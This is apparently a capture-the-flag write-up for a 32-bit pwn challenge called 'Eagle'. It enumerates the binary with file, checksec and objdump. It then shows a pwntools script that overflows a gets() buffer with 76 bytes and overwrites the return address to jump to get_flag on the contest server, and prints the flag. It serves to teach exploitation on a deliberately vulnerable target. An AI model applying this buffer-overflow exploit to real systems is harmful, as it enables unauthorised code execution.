## Eagle (Pwn, 125pts)  # EnumerationSo we are on  the pwn category, so lets enumerate the binary.
**File Type**```shad3@zeroday:~/Desktop/Security/CTF/virsec$ file eagle eagle: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 3.2.0, BuildID[sha1]=a846d3f8892ac270e52ea0ce8d316fe15146d3a5, not stripped```**Security**```gdb-peda$ checksecCANARY    : disabledFORTIFY   : disabledNX        : ENABLEDPIE       : disabledRELRO     : Partial```**Functions**```shad3@zeroday:~/Desktop/Security/CTF/virsec$ objdump -t eagle 
eagle:     file format elf32-i386
SYMBOL TABLE:08048154 l    d  .interp        00000000              .interp08048168 l    d  .note.ABI-tag  00000000              .note.ABI-tag08048188 l    d  .note.gnu.build-id     00000000              .note.gnu.build-id080481ac l    d  .gnu.hash      00000000              .gnu.hash080481cc l    d  .dynsym        00000000              .dynsym0804826c l    d  .dynstr        00000000              .dynstr080482d6 l    d  .gnu.version   00000000              .gnu.version080482ec l    d  .gnu.version_r 00000000              .gnu.version_r0804830c l    d  .rel.dyn       00000000              .rel.dyn08048324 l    d  .rel.plt       00000000              .rel.plt0804834c l    d  .init  00000000              .init08048370 l    d  .plt   00000000              .plt080483d0 l    d  .plt.got       00000000              .plt.got080483e0 l    d  .text  00000000              .text08048704 l    d  .fini  00000000              .fini08048718 l    d  .rodata        00000000              .rodata08048854 l    d  .eh_frame_hdr  00000000              .eh_frame_hdr080488a0 l    d  .eh_frame      00000000              .eh_frame08049f04 l    d  .init_array    00000000              .init_array08049f08 l    d  .fini_array    00000000              .fini_array08049f0c l    d  .dynamic       00000000              .dynamic08049ff4 l    d  .got   00000000              .got0804a000 l    d  .got.plt       00000000              .got.plt0804a020 l    d  .data  00000000              .data0804a028 l    d  .bss   00000000              .bss00000000 l    d  .comment       00000000              .comment00000000 l    df *ABS*  00000000              crtstuff.c08048440 l     F .text  00000000              deregister_tm_clones08048480 l     F .text  00000000              register_tm_clones080484c0 l     F .text  00000000              __do_global_dtors_aux0804a028 l     O .bss   00000001              completed.728308049f08 l     O .fini_array    00000000              __do_global_dtors_aux_fini_array_entry080484f0 l     F .text  00000000              frame_dummy08049f04 l     O .init_array    00000000              __frame_dummy_init_array_entry00000000 l    df *ABS*  00000000              eagle.c00000000 l    df *ABS*  00000000              crtstuff.c080489e0 l     O .eh_frame      00000000              __FRAME_END__00000000 l    df *ABS*  00000000              08049f08 l       .init_array    00000000              __init_array_end08049f0c l     O .dynamic       00000000              _DYNAMIC08049f04 l       .init_array    00000000              __init_array_start08048854 l       .eh_frame_hdr  00000000              __GNU_EH_FRAME_HDR0804a000 l     O .got.plt       00000000              _GLOBAL_OFFSET_TABLE_08048700 g     F .text  00000002              __libc_csu_fini08048430 g     F .text  00000004              .hidden __x86.get_pc_thunk.bx0804a020  w      .data  00000000              data_start00000000       F *UND*  00000000              fflush@@GLIBC_2.000000000       F *UND*  00000000              gets@@GLIBC_2.008048546 g     F .text  0000004f              vuln080484f6 g     F .text  00000050              get_flag0804a028 g       .data  00000000              _edata08048704 g     F .fini  00000000              _fini0804a020 g       .data  00000000              __data_start00000000       F *UND*  00000000              puts@@GLIBC_2.000000000       F *UND*  00000000              system@@GLIBC_2.000000000  w      *UND*  00000000              __gmon_start__0804a024 g     O .data  00000000              .hidden __dso_handle0804871c g     O .rodata        00000004              _IO_stdin_used00000000       F *UND*  00000000              __libc_start_main@@GLIBC_2.0080486a0 g     F .text  0000005d              __libc_csu_init00000000       O *UND*  00000000              stdin@@GLIBC_2.00804a02c g       .bss   00000000              _end08048420 g     F .text  00000002              .hidden _dl_relocate_static_pie080483e0 g     F .text  00000000              _start08048718 g     O .rodata        00000004              _fp_hw00000000       O *UND*  00000000              stdout@@GLIBC_2.00804a028 g       .bss   00000000              __bss_start08048595 g     F .text  00000106              main0804a028 g     O .data  00000000              .hidden __TMC_END__0804834c g     F .init  00000000              _init```*080484f6 g     F .text  00000050              get_flag*So from our enumeration we know that it's a x86 executable and that we dont have to spawn a shell all we have to do is redirect the execution flow to the get_flag function.
Since we dont have to spawn a shell we can solve this doing exploiting a classic buffer overflow and not a ret2libc attack.
Lets write a script to exploit it```pythonfrom pwn import *
p = remote('jh2i.com' ,50039)
bof = 'A' * 76flag = p32(0x080484f6)
payload = bof + flag
p.recvuntil("Avast!")p.send(payload)p.recvline()```And it worked... ```shad3@zeroday:~/Desktop/Security/CTF/virsec$ python exploit.py              |    |    |             )_)  )_)  )_)            )___))___))___)\           )____)____)_____)\\         _____|____|____|____\\\__---------\                   /---------  ^^^^^ ^^^^^^^^^^^^^^^^^^^^^    ^^^^      ^^^^     ^^^    ^^         ^^^^      ^^^
Avast!LLS{if_only_eagle_would_buffer_overflow}```